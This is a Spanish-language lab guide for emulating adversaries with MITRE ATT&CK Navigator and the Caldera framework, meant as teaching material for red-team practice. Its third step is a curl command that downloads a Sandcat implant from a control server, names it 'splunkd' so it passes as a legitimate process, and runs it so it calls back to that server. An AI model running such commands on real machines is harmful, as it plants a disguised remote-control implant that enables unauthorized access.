Taller Práctico de Laboratorio: Emulación Automatizada de Adversarios con MITRE ATT&CK y Caldera

Objetivo del Taller: Mapear amenazas reales en ATT&CK Navigator y desplegar agentes Sandcat en Caldera para ejecutar operaciones ofensivas.

Modalidad de Autoaprendizaje y Experimentación Libre

Laboratorio de autoaprendizaje procedimental: ejecuta los comandos en tu laboratorio local y contrasta los resultados obtenidos sin requerir entrega de archivos.

Guía Paso a Paso de Ejecución

Sigue las instrucciones y prueba los comandos en tu máquina virtual Kali Linux o laboratorio local:

Paso 1
Fase 1: Mapeo de Técnicas en ATT&CK Navigator

Instalar y clonar localmente la interfaz de visualización de matrices MITRE.

Entorno de Pruebas / Consola
$ git clone https://github.com/mitre-attack/attack-navigator.git
$ cd attack-navigator/nav-app && npm install && npm start
Paso 2
Fase 2: Despliegue de la Plataforma Caldera

Iniciar el servidor central de Caldera y verificar plugins habilitados (stockpile, sandcat).

Entorno de Pruebas / Consola
$ git clone https://github.com/mitre/caldera.git --recursive
$ cd caldera && pip3 install -r requirements.txt
$ python3 server.py --insecure
Paso 3
Fase 3: Inyección de Agente Sandcat y Ejecución de Operación

Desplegar el implante en máquina cliente y programar un perfil de adversario básico.

Entorno de Pruebas / Consola
$ curl -s -X POST -H "file:sandcat.go" http://192.168.1.100:8888/file/download > splunkd
$ chmod +x splunkd && ./splunkd -server http://192.168.1.100:8888 -group red
Consejo del Instructor: Te recomendamos registrar tus salidas y comandos en un cuaderno personal de laboratorio (Markdown o Obsidian) para consolidar tu metodología de análisis.
Última modificación: domingo, 27 septiembre 2026, 11:29 PM